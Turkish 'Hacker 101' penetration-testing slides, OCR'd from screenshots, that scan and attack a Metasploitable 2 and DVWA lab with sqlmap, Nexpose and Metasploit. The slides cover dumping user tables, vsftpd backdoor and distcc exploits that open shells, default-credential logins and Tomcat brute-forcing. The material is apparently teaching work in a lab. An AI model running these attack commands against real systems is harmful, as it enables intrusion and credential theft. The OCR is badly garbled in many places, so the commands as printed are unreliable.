@ HTTP Strict Transport Security (HST Crawling (3] - 1 i T T 5
iﬁ;‘ Insecure Transportation Security Pro B GET 7 10s Parsing ...
sitemap.xml @ GET Swp-content/themes/web_portalv2_themedone/lib... 1s Request...
@ siternap Detected [BaeT Jfwp-content/themes/web_portalv2_themedone/lib/ 1s Parsing ...
v wp-content |
v & themes Static Resource Finder (1] -
web_portalv_themedone 2 frobots.bd 1s
scripts Singular (1] - T T o T
[ Internal Server Error ] INFO TION ( :% HTTP Methods 125
Custom Mot Found Analysis (1] - T
Crawling (1/3)... -@GH fwp-content/uploads/2016/08/ 1s
] 4% |
0013 /0283
Scan Information e
D Current ébeed‘ F & regisec 5 [Mi Cookie Mot Marked as Secure e Sriugisuc by
A Sneed: 3‘9 » [ Insecure Transportation Security Protocol Supported (TLS 1.0) =
NERIEIRES hEealsec > F«n Insecure Frame (External) @ Vulnerability Type
Total Requests: 103 5 [ Internal Server Error &
Failed Requests: 0 > FU Missing X-Frame-Options Header © Severity
HEAD Requests: 40 > FL' Mixed Centent over HTTPS ) Confirmation
Elapsed Time: 00:00:26 > F-B' [Possible] Phishing by Mavigating Browser Tabs
5 [ [Possible] Cross-site Request Forgery ) URL
[ aalfl | |
|_l B Issues (15)

Auto save finished successfully - 1.2.2017 22:16:04 | No wul ility dat pdates found. | &9 Proxy: System[None]



Sqlmap pyhton dili yazilarak gelistiriimis Sqli da ¢ok basarili bir aragtir.

sqglmap -u "http://192.168.237.129/dvwal/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookle- securlty-low PHPSESSID 8a412da14abe7c3a8885934fd9861 bf5" --dbs

* ¥ ¥ ¥ F ¥ ¥ O |
et el e e e e i ]

[
[.
[
[.
[
[
[

[#] shutting down

[root:




sqlmap -u "http://192.168.237.129/dvwal/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookle-"securlty-low PHPSESSID= 8a41 2da14abe7c3a8885934fd9861bf5" -D dvwa --tables

aall

filtering out

[*#] shutting down at 14:40:38

[root: 1#




sqlmap -u "http://192.168.237.129/dvwalvulnerabilities/sqli/?id=1&Submit=Submit#"
--cookle-"securlty-low PHPSESSID=8a412da14abe7c3a8885934fd9861bf5" -D dvwa -T
users --columns T S rootmk: sktop. - e Lond| S4DL H-00)

NING] reflective wvalue(s) fdund.énj.filterinq out

*] shutting down at 14:42:39

root: 1#



sqlmap -u "http://192.168.237.129/dvwalvulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=8a412da14abe7c3a8885934fd9861bf5" -D dvwa -T
users -C user,password --dump

[*#] shutting down at 14:45:25

[root: 1# B



Hacker 101 : Nexpose

Program kurduktan sonra kurulumda olusturdugunu username ve password giriyoruz.

FD» Log on to Mexpose b4
<« C | B b#ps://localhost:3780/1ogin.jsp B 7 O & =

nexpose

community

Log on

Username

Password

RAPIDF»



Hacker 101 : Nexpose

Giris yaptiktan sonra Create diyip Site ye tiklayarak Info & Security kisminda
tarama adini verip Assets kisminda hedef IP bilgisini girerek diger adimlarida
sira ile kontrol edip uygun tarama secgeneklerini segip Save & Scan secenegine
tikllyoruz.Bu asamada sunumun basinda kurdugumuz guvenlik aciklari barindiran
Metasploitable 2 adli sanal makinayi agiyoruz ve onun IP adresini veriyoruz.Ve
uzerinde bulunun agiklari Nexpose tarama sonuglarinda gorebilirsiniz.



Hacker 101 : Nexpose

F) Nexpose Security Consol
&= C | B bheps://localhost: 3780

nexpose communi

Site Configuratio

0)

INFO & SECURITY

GENERAL
ORGANIZATION

ACCESS

scan/config.jsp#/scancon

Create A\

A

Asset Group
Dynamic Asset Group
Report

Site

Tags

B

AUTHENTICATION

General

Importance

Description

User-added Tags @

TEMPLATES

o

ENGINES

) E]

ALERTS SCHEDULE

CUSTOM TAG
MNone

LOCATIONS
None

CWMERS
None

CRITICALITY

None
Add tags




Hacker 101 : Nexpose

nexpose’ community Create

Site Configuration

0) o b =l

INFO & SECURITY AUTHENTICATION ENGINES SCHEDULE

Assets | Dosya Seg | Dosyz segilmedi Assets | Dosya _S_e_?_'l Dosya segilmedi

192.168.237.129 x WL

Asset Groups Asset Groups




Hacker 101 : Nexpose

nexpose

Site Configuration

®

INFO & SECURITY AUTHEMTICATION ENGINES SCHEDULE

SELECT SCAN TEMPLATE Selected Scan Template: Full audit without Web Spider

o)
o

Mame ~ Aezet Discovery Servige Diszovery Source

Denial of service CME TCP UDP Defzult TCR Default..

&

Discovery Scan CMFP TCF, UDP ... Disabled

Digcovery Scan - Aggressive CMP. TCP UDP Custom TCP Custom...  Disabled

s ea

Exhaustive ICMF. TCP, UDP Full TCF, Default UDF

Full audit ICMR TCR UDF Defzult TCF Default..

&

Full audit enhanced logging without Web Spider CMP TCP, UDP Default TCR, Defaulkt ..

=

i

Full audit out Wehb Spider CMP TCF UDP Default TGR Defaule ..
HIF&A compliance CMP. TCP. UDP Default TCP Defaulkt...

o7

Internat DMZ audit Disabled Default TGP

Linux RPMs CMP. TCP, UDP Cugtom TCP




Hacker 101 : Nexpose

nexpose community Create

Site Configuration

INFO & SECURITY AUTHENTICATION ENGINES SCHEDULE

SELECT SCAN EMGINE
Scan each asset with: )

* Engine selected below Engine most recently used for that asset

Selected Scan Engine: Local scan engine

Name A
' Soan Engines (2 )
Lecal sean engine

Rapid? Hosted Scan Engine




Hacker 101 : Nexpose

nexpose community Create

Tarama | view all sites

EmmDE

RISK SCORE

192 168.237.129 0s A Ubuntu Linu: 8.04
HARDWARE O00C:Z20:FADDi2A CPE cpe:fo:cancnicalubuntu_linux:B.04:- ks ORIGIMAL
ALIASES METASPLOITABLE, Jul 22, 2016 5:52:19 AM (4 hours ago) ‘l 79,9‘]

metzsploitable localdomain,

metzsplotable a

IE Guest MEXT SCAM Mot zet

179919

=

ZTE Tarama

TRENDS  Risk Over Time

22.07.2016
Risk score

7

0

Risk Score



Hacker 101 : Nexpose

Create

VULNERABILITIES
- fiew details about discovered vu
@
Exposures: "E' Susceptible 1o malware attacks Metasploit T, Exploit |
Q EXCLUDE RECALL RESUBRIT
O Title ﬁ\ s | CWs3 Risk Published On Madified On Severity v Instances Exceptions
-
SC BIND: inet_ne verflow (CVE-2008-0122) 10 B6d TueJan 132008 FriFeb13 2015 Critical 2
= Samba NDR Parsing Heap Overfiow Yulnerahility @ 10 B71 Mon May 14 2007 Fri May 27 2016 Critical 2
PHF Vulnerabil 10 648 Mon May 16 2016 Bden Jun 20 2016 Critical 1
FHF Vulr 10 548 hdon May 162016  Men Jun 20 2016 Critical 1
0 648 Mion May 16 2016 Mien Jun 20 2016 Critica 1
10 648 Mon May 162016 Men Jun 20 2016 Critical 1
10 648 Mon May 162016 Mon Jun 20 2016 Critical 1
10 548 Mon May 16 2016 Fri Jun 03 2016 Critical 1
10 648 hon May 162016 FriJun03 2016 Critical 1
o 768 Mon May 06 2013 Mon Oct 05 2015 Critical 1

Rows per page: 10 i of 42




Hacker 101 : Nexpose

nexpose community Create

EXPLOITS

Exploit

Samba "usermame map script” Command Execution

Tomeat Application Manager Login Utilit

Szmba lza_io_trans_names Heap Overflow

rsh Authentication Scanner
MySCL yaS5L S5L Hello Message Buffer Overflow

ked Host Attack

MyS0L yaS5L CertDacoder:Gethlame Buffer Overflow

Apache Tomcat Manager Authenticated Upload Code Execution

Source Link

@ hetasploit

Maodule

Diescription

Thiz module exploits & command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using
the non-default "username map script’ configuration option. By specifying a username corta

characters, attackers can execute arbitrary commands. Mo authentication is needed to exploit thiz vulnerabil
since this option is used to map usernames prier to authentication!

This module simply attempts to login to & Tomsat Application Manager instance using a spesific user/pass.

This module triggers a heap overflow in the LS4 RPC service of the Samba dasmon. This module uses the
TALLOC chunk overwrite method (eredit Ramen and Adrianc h only works with Samba versions 3.0021-
3.0.24. Addironally, this module will not work when the Samba "log level" parameter is higher than "2

Thiz module test a shell (reh) service on & rangs of machines and repert successful logins. NOTE: This
madule requ access to bind to privileged ports (below 1024).

Thiz module exploits a stack buffer overflow in the yaSSL {1.7.5 and earlier) implementation bundled with MyS0OL
== 6.0. By sending a specially crafied Hello packet. an attacker may be able 1o execute arbitrary code.

Thiz exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclozed
~Jul 2008. This expleit caches a single malicious host entry into the target nameserver by sending random
hestname queries 1o the target NS server coupled with spocfed replies to those queries frem the authoritative
nameservers for that domain. Eventually a guessad ID will match, the spoofed packet will get accepted. and due
o the additional hostname entry being within bailiwick constraints of the criginal request the malicious host entry
will get cached.

= far overflow in the yaSSL (1.9.2 and earlier) implementation bundled with MySOL.
By sending a specizlly crafted client certificate, an attacker can execute arbitrary code. This vulnerabi

present within the CertDecoder:Gethame function inside "taccrypti/src/asn.cpp’. However, the stack buffer that is
written to exists within a parent function's stack frame. NOTE: This vulnerability requires a non-defaul
configuration. First, the attacker must be able to pass the host-based authentication. Next. the server must be
configured to listen on an acceasible network face. Lastly, the server must have been manually configured to
use S5L. The binary from version 5.5.0-m2 was bailt with /85 and /SafeSEH. During testing on Windows XP SP3,
these protections successfully prevented exploitation. Testing was also done with myagl on Ubunw .04
Although the vulnerable code is present, both version 5.5.0-m2 buil from source and version 5.0.75 from a binary
package were not exploitable due to the use of the compilar's FORTIFY feature. Although susei 1 was mentioned
in the original blog past, the binary package they provide does not contain yaSSL or support SSL.

This module explof

Thiz module can be used to execute a paylosd on Apache Tomeat servers that have an exposed "manager’
application. The payload iz uploaded 25 2 WAR archive cantaining 2 jsp application using a POST request ag

the /manager/html/upload component. MOTE: The compatible payload sets vary based on the selected target. For



Hacker 101 : Nexpose

nexpose comim Create

SCAN HISTORY

Marme Opersting System i Vulnerzbilities  Scan Duration Scan Engine

SPLOITAELE Uburtu Linux 2.04 & hours, 20
minutes

Rows per page: 10

INSTALLED SOFTWARE

Software A

Player

SERVICES

Service Mame Product Protocol Vulnerabilitizs
veFTPd 2.2.4 TCP
Open35H 4.7p1 TCP
TCP
Postfix TCP
BIND 9.4.2 UoE
Dns BIND 9.4.2
HTTP HTTFD 228

portmapper




Hacker 101 : Nexpose

nexpose’
: i
USERS AND GROUPS
need Mame
a0 Everycne
&% Metwork Service
[::,' G Proxy
j:'- Batch
Il__ 8¢ ServerLogen

&P Authenticated Users

& Dislup

f= o Terminal Server User

G Remaote Interactive Logon
&p Thiz Organization

Shaowing 1 to 10.0f 95

Rows per page: 10 1 of 10

DATABASES

Database Mame

infermation_schema
metasploit

mysqgl



Hacker 101 : Nexpose

Nexpose Taramasinin nasil yapilacagini ve sonuglarini gormus olduk.Portlar
Uzerinde caligan servisler,databaseler,userlar barindirdigi acgikliklar ve bunlarin
metasploit Uzerinde bulunan modullerine kadar tum herseyi getirdigini
gorduk.Bundan sonrasi hedef sistem uzerinde bulunan acikliklari dogrulamak olan
aclklari denemek ve sisteme sizmaya calismaktir.Bu kisimdan sonra artik Lab
ortamimizda uygulamali olarak sizma islemi gercgeklestirecegiz bir sisteme
sizmaktaki hedef o sistemde yetkili kullanici olup her seye erisim saglamaktir.Bu
ornek makina linux oldugu igin hedefimiz root olmaktir.



S1zma Testi Ornekleri (Metasploitable2)

Bu nexpose ¢iktisinda VNC nin gifresinin password oldugunu soylemektedir.
& = 0O | &) sertifika hatasi  localhost:2

nexpose’ Create

Exposures: &;}- Susceptible to malware attacks ly Metaspi le | Validated with Metasploit J. Exploit published <%y Validated with published exploit

EXCLUDE RECALL RESUEMIT
i:! ¥ his r_lj?_'- -5 CVSS Risk Published On Meodified On Severity v Instances Exceptions
VNC password is "password” 10 990 FriJan 0T 1999 Tue Dec 03 20713 Critical 1 @ Exclude
Shell Backdoor Service 10 919 Thu Jan 07 1970 Tue Jul 29 2074 Critical 1 @ Exclude
A’;‘J MySQL Obsolete Version 10 869 Wed Jul 25 2007 Thu Jul 10 2014 Critical 1 @ Exciude
Obsolete Version of PHP 10 869 Wed Jul 25 2007 Tue Jul 12 2016 Critical 1 @ Exclude
Vhdware Player: Hosted products DHCP security vulnerabilities 10 868 FriSep 21 2007 Fri Feb 13 2015 Critical 1 @ Exclude
addressed (VMSA-2007-0006) (CVE-2007-0061)
= Viiware Player: Hosted products DHCP security vulnerabilities 10 868 Fri Sep 21 2007 Fri Feb 13 2015 Critical 1 @ Exclude
addressed (VMSA-2007-0006) (CVE-2007-0063)
VMiware Player: Hosted products DHCP security vulnerabilities 10 868 Fri Sep 21 2007 Fri Feb 13 2015 Critical 1 @ Exclude
addressed (VMSA-2007-0006) (CVE-2007-0062)
PHP Multiple Vulnerabilities Fixed in version 5.2.6 10 861 Mon May 05 2008 Fri Feb 13 2015 Critical 1 @ Exclude
PHP Muitiple Vulnerabilities Fixed in version 5.2.8 7 10 61 Mon May 05 2008 Mon hMay 30 2016 Critical 1 @ Exclude
PHP Vulnerability: CVE-2008-2051 10 861 Mon May 052008  Fri Feb 132015 Critical 1 @ Exciude

of 42

=

Showing 1 to 10.of 420 | % Export to CSV Rows per page:



Terminale vncviewer 192.168.237.129 yazip sifreyide password olarak girip sisteme giris yapabiliriz.
27 2015-0?-25

[ IS el

' root@metasploitable: / !E‘%

rootBmetasploitables # uname —a
Linux metasploitable 2,6,24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 iB8E GMUALirnux
root@Bmetasploitables /# pz
PID TTY TIME CHD
G226 pted) 00300300 bash
5301 ptss0 00100100 ps
rootBmetasploitables # whoami
root
root@metasploitabless# [




Port taramasinda 21.portta FTP vsftpd 2.3.4 surimunun ¢alismakta oldugu gorunmekte.Bunu google
aramasi ile yada Nmap scriptleri ile bir backdoor exploitinin oldugunu gormekteyiz.Metasploit ile sisteme
sizabilmekteyiz.

# nmap --script -V d-backdoor -p 21 192.188.237

Starting MNmap 7.01 ( https://nmap.org J at 2016-07-23 11:56 EOT
Nmap scan report for 182.168.237.129
Host 1s up, received arp-response (0.00018s latency)
FORT STATE SERVICE REASON
21l/tcp open ftp syn-ack ttl 64
ftp-vsftpd-backdoor:
VULMNERAELE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE 'E:-c|h1_ﬁi1:al:u1_e'I
IDs . BEVDR:Z3573 CMEICVE- 2J11 2523
vSFTPd version 2.3.4 backdo -, this was reported on 2011-07-04.
Disclosure date: lel 07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:
http://scary beaataeuu|1t, bloqapot com/2011/07/alert-vsftpd-download-backdoored.html
https://cve.mitre.org/cgl-binfcvename. rq17nam¢—dlE 2011-2523
http: v :
http“'f ulthub com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vs
2*4_buckd Bl
Address: GO:OC:EQ:FA:DD:EA (VMware)




[ root 14:30, 2016—0?—26“

http://metasploit.pro

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- Llearn more on http://rapid7.com/metasploit
metasploit v4.11.5- 2016010401 ]
1517 exploits - 875 auxiliary - 257 post ]
437 payloads - 37 encoders - 8 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

R
[N

msf = search vsft

Matching Modules

MName Disclosure Date Rank Description
exploit/unix/ftp/vsttpd_234 backdoor 2011-07-03 excellent VWSFTPD v2.3.4 Backdoor Command Execution
msf = use exploit/unix/ftp/vsftpd_234 backdoor
mst exploit(vsft 4 k 1 = show options

Module epticns (expleoit/unix/ftp/vsftpd_234 backdoor):

Mame Ccurrent Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:

Id MName

e} Automatic

msf exploit{vsftpd_: I cdoor) = [



msf exh101t(

.\ | m ﬁ u ] systermnctl| start postgres...
=

how options

Module eptions (exploit/unix/ftp/wvsftpd_234 backdoor):

Mame Current Setting

Exploit target:

Id MName

e} Automatic

msf exploit(

FHOST == 15Z2.1
msf exploit(vsft
Banner: 220
USER:
Backdoor

[%]
[*]

Found shell.

Command shell session 1 opened (192.168.237.128:46275 -=

uname -a

Linux metasploitable 2.6.24-16-server

ps aux

[W=1=2 PID =CPU

root
root
root
root
root
root
root
root
root
root
root
root
root

N

= set RHOST 192.168

(vsFTPd 2.3.4)

1 Please specify the password.

service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)

*

M=

[o]
[cNeloloNoNoRoNoNoNoN ool

N
[cNoRoloNoNoNoloNoNoNoNol S|

=

a
0

i
(cfoRoNoRoNoNoRoRoN o ol oN BT
] ead wad wa) ) en] end wnd en) exd ed end

[oNoNoRoNoRoNoRoNoRoNoNoNol

[cNoNoRoNoNoNoRoNoRoNoNoNol

[cNoNoNoRoNoNoRoNoNoN ool

Description

The target address
The target port

= explolt

#1 SMP Thu Apr 10 13:58:00

TN

-

w
N
w
bl
5
i8]
0

[oNoNoRoNoRoNoRoNoRoNoNoNol

192.168.237.129:6200) at 2016-07-26 14:30:52

UTC 2008 1686 GNU/LI1nNux

COMMAND
Jfsbin/init
[kthreadd]
[migration/o]
[ksoftirgdso]l
[watchdog/a]
[events/ /0]
[khelper]
[kblockd/a]
[kseriod]
[pdflush]
[pdflush]
[kswapdo]
[aio/0]




S1zma Testi Ornekleri (Metasploitable2)

Yine Nexpose tarama sonucunda bize MySQL veritabaninda default kullanici adi
root ve bos sifre kullanildigini soylemektedir.Kullanici adi ve sifresi bilinen bir
veritabanina sizmak icin birden fazla senaryo dusubulebilir.Biz metasploit
auxiliary moduli kullanarak veritabani sorgusu calistiracagiz.Ornek bir SQL
sogusu calistiracagiz farkli bir cok SQL sorgusu calistirabiliriz.



S1zma Testi Ornekleri (Metasploitable2)

& - O | @ Sertifika hatasi  localhost:2

nexpose’

EXCLUDE RECALL RESUEMIT
D *  Title r_{‘i} -5 CVss Risk Publizshed On Modified On Severity v Instances Exceptions
ViMware Player: Viviware host memony overwrite vuinerability g 586 Fri May 04 2012 Thu Feb 132014 Critical 1 @ Exclude
(function pointers) (VMSA-2012-0009) (CVE-2012-1517)
VMware Player: ViMware host memory overwrite vulnerability (data 9 596 Fri May 04 2012 Mon Sep 29 2014 Critical 1 @ Exclude
pointers) (VMSA-2012-0009) {CVE-2012-1516)
& /RS
Vhware Player: VMware SCSI device unchecked memory write g 596 FriMay 04 2012 Mon Sep 29 2014 Critical 1 @ Exciude
(VMSA-2012-0009) (CVE-2012-2450)
Obsolete I1SC BIND installation 9.3 B07 Wed Jul 25 2007 Thu Aug 14 2074 Critical 2 @ Exclude
Samba reply_netbios_packet Nmbd Buffer Overflow 9.3 800 Thu Mov 15 2007 Fri Feb 13 2015 Critical P @ Exclude
Samba GETDC Mailslot Processing Buffer Overfiow In Nmbd 9.3 800 Thu Mov 15 2007 Fri Feb 13 2015 Critical 2 @ Exclude
Samba send_mailslot GETDC Buffer Overflow b 9.3 798 Mon Dec 10 2007 Fri Feb 132015 Critical 2 @ Exclude
ISC BIND: Handling of zero length rdata can cause named to 8.5 638 Mon Jun 042012 Fri Feb 13 2015 Critical 2 @ Exciude
terminate unexpectedly (CVE-2012-1667)
MyS0L default account: root/no password 7 7.5 890 Tue Dec 31 2002 Thu Aug 22 2013 Critical 1 @ Exclude
plat e sologtigimiplengaimim et Al el O i
CIFS NULL Session Permitted 7.b 755 Wed Jan 011997 Thu Jul 12 2012 Critical 1 @ Exclude

Showing 41 to 50 of 420 | @'# Export to CSV Hows per page: 10

o




!‘!‘ ﬁ g ] systermnctl| start postgres...

msf = use auxiliary admln

mysqgl/mysql_sgl

msf auxiliary(mysql_ ) = show options

Module options (auxiliary/adming/mysql/mysql_sql):

Mame Current Setting

330¢
se version()
LUSERMAME
msf auxiliary( 1 1) > set
LISERMAME -
msf auxiliary( ) ) = set
RHOST == 192.168.237.129
mst auxiliary( | ) run
*] Sending statement: 'select

1 | 5.0.51a-3ubuntus
1 Aauxiliary module executlon
f auxiliary(mysql. 1

*

¥

ms

Required Description

no The password for the specified username
yes The target address

yes The target port

yes The soOL to execute.

no The username to authenticate as

USERMNAME  root

RHOST 192.168.237.129

version()'...

completed



S1zma Testi Ornekleri (Metasploitable2)

Nmap taramasinda gorulen bir diger uygulama 3632. portta ¢alisan DistCC
uygulamasidir.Bu uygulamayi googleda distcc exploit olarak aratip bilinen bir
acikhgi var mi diye kontrol ettigimizde https://www.exploit-db.com/exploits/9915/
boyle bir exploitin varligini gormekteyiz.Bu kisimdan sonra metasploit ile
buldugumuz exploiti deniyoruz.



https://www.exploit-db.com/exploits/9915/

S1zma Testi Ornekleri (Metasploitable2)

€« -> C & https//www.google.com.tr/webhp?sourceid=chrome-instant&8ion=18espv=28&ie=UTF-8#qg=distcc%20exploit

Google distce exploit - A E

Timii Haberler Videolar Gdrseller Haritalar Daha fazla - Arama araclari

Yaklagik 7.790 sonuc bulundu (0,31 saniye)

CVE-2004-2687 DistCC Daemon Command Execufion | Rapid7
https:/iawwaw rapid?. com/db/modules/exploit’ .. /distcc_exec ~ Bu sayfanin cevirisini yap
DistCC Daemon Command Execution ... security weakness to execute arbitrary commands on any
system running distccd. ... exploitunix/misc/disicc_exec ...

Metasploitable Project: Lesson 2. Exploit the distcc daemon to obtain ..
https:/fcomputersecuritystudent. com/.._/EXPLOIT/.. .findex_h... = Bu sayfamn ¢evirisini yap

{ Exploit the distcc daemon to obtain root, Collect Lime Memory Dump } ... A machine with distcc
installed can send code to be compiled across the networkto a ...

DistCC Daemon - Command Execution - Exploit-DB
https:/iwww exploit-db. comfexploits/9915/ » Bu sayfanin cevirisini yap
DistCC Daemon Command Execution. CVE-2004-2687. Remote exploits for multiple platform.

DistCCD | RWB Network Security

wawvw.rwhnetsec. comdistced/ = Bu sayfanin cevirisini yap

Port: TCP 3632 Service: DistCCD Vulnerability: Wealk service configuration ... A quick search
revealed a public exploit for this version, which allows remaote ...

Hacking distcc with Metasploit... | zoidberg's research lab
https://0xzoidberg. wordpress. com/. . /hacking-distcc-with-m... = Bu sayfanin cevirisini yap
3 Tem 2010 - unix/misc/distcc_exec excellent DistCC Daemon Command Execution msf= use
unix/miscidistcc_exec msf exploitidistcc_exec) = show options

Distcc Remote Code Execution Exploit | Core Security

https:/iwww. coresecurity. com/. _./distcc-remote-code-executi... = Bu sayfanin gevirisini yap
Distcc, when not configured to restrict access to the server port, allows remote attackers to execute
... This module exploits the vulnerahbility to install an agent.



= !‘!‘ ﬁ g ] systermnctl| start postgres...

Mame Disclosure Date Rank Description

exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution

msf = use exploit/unix/ mlaC ‘distcc_exec
msf exploit(distcc_ ) = show options

Module epticns (exploit/unix/misc/distcc_exec):

Mame Current Setting Required Descriptien
RHOST yes The target address
RPORT 3632 yes The target port

Exploit target:

Id MName

e} Automatic Target

msf exploit(
BHOST == 192,16
msf exploit({distcc_exec) > exploit

> set RHOST 192.168.237.129




.\ | m ﬁ u ] systermnctl| start postgres...
=

Mame Disclosure Date Rank
exploit/unix/misc/distcc_exec 2002-02-01 excellent
msf = use exploitsunix/misc/distcc_exec
msf exploit(distcc_ ) = show options

Module epticns (exploit/unix/misc/distcc_exec):

Mame Current Setting Required Descriptien
RHOST yes The target address
RPORT 3632 yes The target port

Exploit target:

Id MName

e} Automatic Target

msf exploit(
BHOST == 192,16 =
msf exploit(distcc_exec) = exploit

> set RHOST 192.168.237.129

[*] Started reverse TCP double handler on 192.168.237.128:4444
] nccepted the first client connection.
accepted the second client connection. ..
Command: echo IEjdjbOYugTHpR
Writing to socket A
Writing to socket B
[*] Reading from sockets...
Feading from socket B
B: "IEjdjbovyugTHpRCVY ryn"
‘] Matehing. .
[*] A is input..

Command Execution

[*] Command shell session 1 opened (192.162.237.128:4444 -= 10592,168.237.129:58093)

whoami
daemon

at 2016-07-26 14:58:28



S1zma Testi Ornekleri (Metasploitable2)

Nmap ciktisinda goruldugu uzere 8180 de Apache Tomcat calismakta normalda
default olarak 80 yada 8080 de calismaktadir.Nexpose ciktisinda ise Default
Tomcat User and Password ciktisi gorulmekte.Bunun igin tomcat_mgr_login
adinda bir auxiliary bulunmakta Brute Force (kaba kuvvet) yontemiyle sifreleri
denemekte default yada en cok kullanilan sifreler kisa bir stirede sonug¢
vermekte.Biz sifrenin default oldugunu bilsekte bu auxliarynin kullanimini
gostermek amaciyla deneyecegiz.Username ve Password u ele gecirdikten sonra
tomcat_mgr_deploy adinda bir exploitimiz var bunu kullanarak sisteme sizmaya

calisacagiz.



1zma Testi Ornekleri (Metasploitable2)

Nexpose ¢iktisi Default Tomcat Username ve Password
é % O | @ Sertifika hatasi  localhost:3

nexpose Create

EXCLUDE RECALL RESUBMIT

D v Tle f@n 1', CVsSs Rizk Publizhed On Modified On Severity v Instances Exceptions
PHP Vulnerability: CVE-2008-2050 Mon May 05 2008 Fri Feb 13 2015 Critical @ Exclude
PHP Fixed security issue Mon hMay 05 2008 Fri Feb 13 2015 Critical @ Exclude
PHP Vulnerability: CVE-2008-0599 [ Mon May 05 2008 FriFeb 13 2015 Critical @ Exclude
PHP Vulnerability: CVE-2008-5557 Tue Dec 23 2008 Fri Feb 13 2015 Critical @ Exclude
Apache HTTPD: APR apr_pailoc heap overflow (CVE-2009-2412) [ Thu Aug 06 2009 Fri May 27 2016 Critical @ Exciude

Default Tomcat User and Password Mon Nov 09 2009 Fri Jun 03 2016 Critical @ Exclude
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Obsolete Version of VMware Player Sun Jun 06 2010 Tue Oct 27 2015 Critical @ Exciude

PHP Vulnerability: CVE-2012-2688 Fri Jul 202012 Fri Feb 13 2015 Critical @ Exciuge
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[ systemctl| start postgres... aif) [ root 14:37. 2016—0?—26“

msf = search tomcat mgrlogin =

Matching Modules

Name Disclosure Date Rank Description

auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat utfs8 trawversal normal Tomcat UTF-8 Directory Traversal Wulnerability
auxiliary/admin/http/trendmicro_dlp_traversal normal TrendMicro Data Loss Prevention 5.5 Directory Trawversal
auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-086 normal Apache Commons FileUpload and Apache Tomcat DoS
auxlliary/dos/http/apache_tomcat_transfer_esncoding 2010-07-09 normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28 normal Hashtable Collisions

auxiliary/scanner /http/tomcat_enum normal Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility
exp101t,multlfhttp,struta code_exec_classloader 2014- 03- 06 UETIVEYS Apache Struts ClassLoader Manipulation Remote Code Execution
exploit/multi/http/struts_default action_mapper 2013- 07-02 excellent Apache Struts 2 DefaultActionMapper Prefixes OGML Code Execution
exploit/multi/http/struts_dev_mode 2012-01-06 excellent Apache Struts 2 Developer Mode OGML Execution
exploit/multi/http/tomcat _mgr deploy 2009-11-09 excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution
exploit/multi/http/tomcat_mgr_upload 2009- 11- 09 excellent Apache Tomcat Manager Authenticated Upload Code Execution
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07 excellent MNovell ZEMworks Configuration Management Arbitrary File Upload

post/windows,/gather/enum_tomcat normal Windows Gather Apache Tomcat Enumeration

msf = use auxiliary/ scanner’http’tomcat mgr_Llogin
msf auxiliary(tomcat_mgr - show options

Module options (auxiliary/scanner/http/tomcat_mgr_Llogin):

Name Current Setting Required Description

BLAME_PASSWORDS false no Try blank passwords for all users

BRUTEFCORCE SPEED S yes How fast to bruteforce, from © to 5

DE_ALL_CREDS false no Try each user/password couple stored in the current datab
ase

DB_ALL_PASS false no Add all passwords in the current database to the list

DE_ALL_USERS false no add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS FILE Jusr/sharesmetasploit-framework,/dataswordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line

]Proxies no & proxy chain of format type:host:portl,type:host:iportll[.

RHOSTS yes The target address range or CIDR identifier

RPORT 8080 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

T ARGET URT Jmanager/html yes URI for Manager login. Default is /manager/html

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as



[ root 14:39, 2016-0?-26“

2011-1 normal Hashtable llisions
scanner http‘tomcat enum normal Apache Tomcat User Enumeration
/scanner /http/tomcat_mgr_Llogin normal Tomcat Application Manager Login Utility
exploity multl,httpﬁatlut: code_exec_classloader 2014- 03- 06 manual Apache Struts ClassLoader Manipulation Remote Code Execution

ezp101t'mult

ttp/struts_default_action_mapper 2013-07-02 excellent Apache Struts 2 DefaultActionMapper Prefixes OGML Code Execution
ttp/struts_dev_mode 2012-01-06 excellent Apache Struts 2 Developer Mode OGML Execution

/ ttp/tomcat_mgr_deploy 2009- 11- 09 excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution
exp101t ‘multi/http/tomcat_mgr_upload 2009- 11- D9 excellent Apache Tomcat Manager Authenticated Upload Code Execution

ﬂxp101t’mult1(httpf:enworks_configuration_management_upload 2015- 04-07 excellent Movell ZEmworks Configuration Management Arbitrary File Upload
post/windows/gather/enum_tomcat normal wWindows Gather Apache Tomcat Enumeration

mst = use auxlllary,scanner http ‘tomcat_mgr_ login
mst auxiliary(+ ] ] - show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

MName Current Setting Required Description
no Try blank passwords for all users
yes How fast to bruteforce, from © to 5
no Try each user/password couple stored in the current datab
DE_ALL_ PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no add all users in the current database to the list
PASSWORD no & specific password to authenticate with
PASS FILE Jusr/share/metasploit- framework /data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port]l.
RHOSTS yes The target address range or CIDR identifier
RPORT 2080 yes The target port
STOP_OM_SUCCESS false yes Stop guessing when a credential works for a host
